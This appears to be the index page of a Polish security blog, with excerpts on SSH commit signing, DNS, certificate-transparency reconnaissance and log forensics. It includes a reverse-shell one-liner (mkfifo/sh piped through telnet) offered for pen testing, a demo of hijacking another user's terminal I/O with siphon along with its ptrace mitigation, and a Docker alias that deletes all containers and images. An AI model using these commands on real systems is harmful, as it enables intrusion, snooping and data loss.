Napisał: Patryk Krawaczyński
28/11/2022 w Administracja, Bezpieczeństwo
W
raz z wersją git 2.34.0 każdy nasz commit do kodu lub jego tag będzie mógł zostać podpisany kluczem SSH. Możliwość podpisywania dowolnych danych za pomocą SSH została dodana już w 2019 roku z wydaniem OpenSSH 8.0. Jednak, aby używać tej funkcjonalności bez żadnego problemu najlepiej używać OpenSSH w wersji 8.8. Nasz proces zaczynamy od instalacji i konfiguracji klienta git i SSH:
sudo apt install -y git
Kolejnym krokiem jest wygenerowanie klucza SSH, który będzie używany do podpisywania:
ssh-keygen -t ed25519 -C "agresor@nfsek.pl" -f ~/.ssh/code_commit_signing
Odpowiadamy na pytania i upewniamy się, że wpisaliśmy silne i unikalne hasło do klucza. Klucz ten będzie domyślnie przechowywany w naszym katalogu domowym pod katalogiem .ssh:
agresor@darkstar:~$ cat .ssh/code_commit_signing.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMzu8wjcnyAorVVtEjddoG2gaYjmRnHiZHvElYFcl/s/
agresor@nfsek.pl
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
12/11/2022 w Pen Test
Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:
mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh
Więcej informacji: Alh4zr3d on Twitter
Napisał: Patryk Krawaczyński
09/11/2022 w Bezpieczeństwo
L
iam Galvin napisał w języku Go ciekawe narzędzie o nazwie siphon, które za pomocą ptrace potrafi przechwycić strumień wejścia (stdin) wyjścia (stdout) i błędów (stderr) dla dowolnego procesu podając tylko jego PID:
root@darkstar:~# wget 'https://github.com/liamg/siphon/releases/download/v0.0.2/siphon'
root@darkstar:~# chmod +x siphon-linux-amd64
root@darkstar:~# ps xuaw| egrep ^agresor.*bash
agresor 2297 0.0 0.1 8728 5536 pts/2 Ss+ 19:38 0:00 -bash
root@darkstar:~# ./siphon-linux-amd64 2297
agresor@darkstar:~$ echo elemelek
elemelek
agresor@darkstar:~$ export
declare -x DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/1000/bus"
declare -x HOME="/home/agresor"
declare -x LANG="en_US.UTF-8"
declare -x LC_ALL="en_US.UTF-8"
declare -x LC_CTYPE="UTF-8"
declare -x LC_TERMINAL="iTerm2"
declare -x LC_TERMINAL_VERSION="3.4.16"
declare -x LESSCLOSE="/usr/bin/lesspipe %s %s"
declare -x LESSOPEN="| /usr/bin/lesspipe %s"
declare -x LOGNAME="agresor"
Podobnie możemy zrobić z strace. W celu powstrzymania przechwytywania za pomocą ptrace – wystarczy wyłączyć tą możliwość:
root@darkstar:~# sysctl -w kernel.yama.ptrace_scope=3
kernel.yama.ptrace_scope = 3
root@darkstar:~# ./siphon-linux-amd64 2297
Error: could not attach to process with pid 2297:
operation not permitted - check your permissions
Więcej informacji: Siphon
Napisał: Patryk Krawaczyński
30/10/2022 w Bezpieczeństwo
Z
narzędziem utmpdump spotkaliśmy się pierwszy razy przy okazji ściągawki z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa. W tym wpisie rozwinę trochę użycie tego narzędzia i pokażę jak można go użyć od strony defensywnej, jak i ofensywnej. Pozornie nieznane przez wielu polecenie utmpdump
jest doskonałym narzędziem do wykrywania manipulacji na plikach logowań. Jeśli chodzi o system Linux to często możemy polegać na następujących trzech artefaktach w celu określenia czynności logowania i wylogowywania użytkowników:
/var/run/utmp
– plik utmp pozwala odkryć informacje o tym, kto aktualnie korzysta z systemu.
/var/log/wtmp
– plik wtmp rejestruje wszystkie logowania i wylogowania. Jego format jest dokładnie taki jak utmp
, z tą różnicą, że pusta nazwa użytkownika wskazuje na wylogowanie z powiązanego terminala. Co więcej, nazwa terminala „~” z nazwą użytkownika „shutdown” lub „reboot” wskazuje na zamknięcie lub ponowne uruchomienie systemu.
/var/log/btmp
– plik btmp zawiera wszystkie złe próby logowania do systemu.
Ponieważ pliki utmp
, wtmp
i btmp
zawierają dane logowania wszystkich użytkowników, są one głównym celem modyfikacji lub usuwania wpisów przez intruzów i złośliwe oprogramowanie. Wiele rodzajów malware dla systemu Linux po prostu usunie te pliki i zastąpi je plikami o zerowej długości bajtów. Bardziej wyrafinowani napastnicy podejmują próbę wyczyszczenia poszczególnych wpisów jednak jest to trudniejszy sposób na zacieranie śladów i łatwo go zauważyć.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
14/10/2022 w CmdLineFu
alias containerstorm='docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)'
Napisał: Patryk Krawaczyński
08/10/2022 w Pen Test
W
iele nowoczesnych serwisów internetowych stosuje automatyczne wydawanie i odnawianie certyfikatów TLS. Dla firm dostępne są usługi komercyjnych wystawców SSL. Dla wszystkich innych dostępne są bezpłatne usługi, takie jak Let’s Encrypt i ZeroSSL. Jednak bardzo często popełniany jest błąd w sposobie w jaki konfiguruje się wdrożenie darmowych wersji certyfikatów TLS. Pozwala on każdemu odkryć prawie wszystkie nazwy domen i subdomen używanych przez ten sam serwer webowy. Jak wiemy, istnieje takie coś jak Certyficate Transparency (CT), czyli internetowy standard bezpieczeństwa służący do monitorowania i audytu wystawiania certyfikatów TLS. Tworzy on system logów publicznych, które służą do rejestrowania wszystkich certyfikatów wydawanych przez publicznie zaufane urzędy certyfikacji (CA). Do przeszukiwania dzienników CT możemy używać serwisów: crt.sh, certstream, a także Censys, który również pozwala na przeszukiwanie wyników skanowania certyfikatów w internecie.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
04/10/2022 w Ataki Internetowe
C
yberprzestępcy często wykorzystują nazwy domen do różnych niecnych celów: do komunikacji z serwerami C&C, dystrybucji złośliwego oprogramowania, oszustw finansowych i phishingu. Dokonując tych działań przestępcy mają do wyboru albo kupować nowe nazwy domen (złośliwa rejestracja na fałszywe dane) albo skompromitować już istniejące (przechwytując rekordy DNS). Przechwytywanie DNS obejmuje: kradzież danych logowania właściciela domeny u rejestratora lub dostawcy usługi DNS, włamanie się do rejestratora lub dostawcy usługi DNS, włamanie się do samego serwera DNS, zatruwanie pamięci serwerów DNS lub przejęcie nieużywanych subdomen.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
25/09/2022 w Bezpieczeństwo
K
olejnym pakietem (obok base-files), który wysyła informacje o naszym serwerze do firmy Ubuntu jest pollinate. Jest to klient, który łączy się z conajmniej jednym serwerem Pollen (entropia-jako-usułga) za pośrednictwem zaszyfrowanego (HTTPS) lub nie (HTTP) protokołu i pobiera losowe ziarno. Jest to szczególnie przydatne przy pierwszym uruchomieniu obrazów w chmurze i na maszynach wirtualnych, aby zainicjować systemowy generator liczb losowych. Może być również używany na fizycznych maszynach, aby uzupełniać nastawienie pseudogeneratora liczb losowych. Sprawdźmy, co jest wysyłane do serwerów entropy.ubuntu.com, które są wpisane w standardowej konfiguracji tego programu:
sudo su - pollinate -s /bin/bash
pollinate --print-user-agent
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
22/09/2022 w Administracja, Bezpieczeństwo
M
inimalizacja QNAME
(RFC 7816), czyli Query Name zmienia zapytania DNS pochodzące z resolwera rekurencyjnego, aby w każdym zapytaniu zawierał tylko tyle szczegółów, ile jest to wymagane dla tego kroku w procesie rozwiązywania danej domeny. Internet Engineering Task Force opisuje to jako technikę, „w której resolwer DNS nie wysyła już pełnej oryginalnej nazwy QNAME
do nadrzędnego serwera nazw”. Powiedzmy, że chcemy odwiedzić stronę: stardust.nfsec.pl. W celu określenia adresu IP, z którym chce się połączyć przeglądarka, system wysyła zapytania do resolwera dostawcy usług internetowych (ISP) lub innego ustawionego przez konfigurację systemu. Prosi on o pełną nazwę – stardust.nfsec.pl – w tym przypadku. ISP (lub inny serwer DNS przydzielony przez zarządce sieci, z której korzystasz) zapyta root DNS, a następnie domenę najwyższego poziomu (.pl
), a następnie domenę drugorzędną (nfsec.pl
) o pełną nazwę domeny. W rzeczywistości wszystko, czego się dowiadujesz od głównego serwera DNS to odpowiedź na pytanie „kto odpowiada za .pl
?”, a jedyne, o co pytasz serwer .pl
, to „kto odpowiada za .nfsec.pl
?”. Żadne z tych żądań nie musi zawierać informacji o pełnej nazwie strony internetowej, którą chcesz odwiedzić, aby odpowiedzieć na wcześniejsze pytania, ale niestety oba te serwery taką informacje otrzymują. Tak zawsze działał DNS, ale obecnie nie ma ku temu praktycznego powodu.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
05/09/2022 w Techblog
S
erwis Gravatar umożliwia ustawienie swojego awatara, który będzie miał charakter globalny – ang. Globally Recognized Avatar. Serwis został stworzony przez Toma Perstona-Wernera, a od 2007 roku jest własnością firmy Automattic, która zintegrowała ją z platformą blogową WordPress. Na Gavatarze użytkownicy mogą zarejestrować konto/a na podstawie adresu e-mail i przesłać cyfrowy awatar, który będzie powiązany z tym kontem. Wtyczki Gravatar są dostępne dla większości popularnego oprogramowania do blokowania; kiedy użytkownik umieszcza komentarz na takim blogu, który wymaga podania adresu e-mail – oprogramowanie do blogowania sprawdza, czy ten adres e-mail ma powiązany awatar w serwisie Gravatar. Jeśli tak, to obrazek umieszczony w serwisie Gravatar jest wyświetlany wraz z komentarzem użytkownika.
[ czytaj całość… ]
Ostatni komentarz :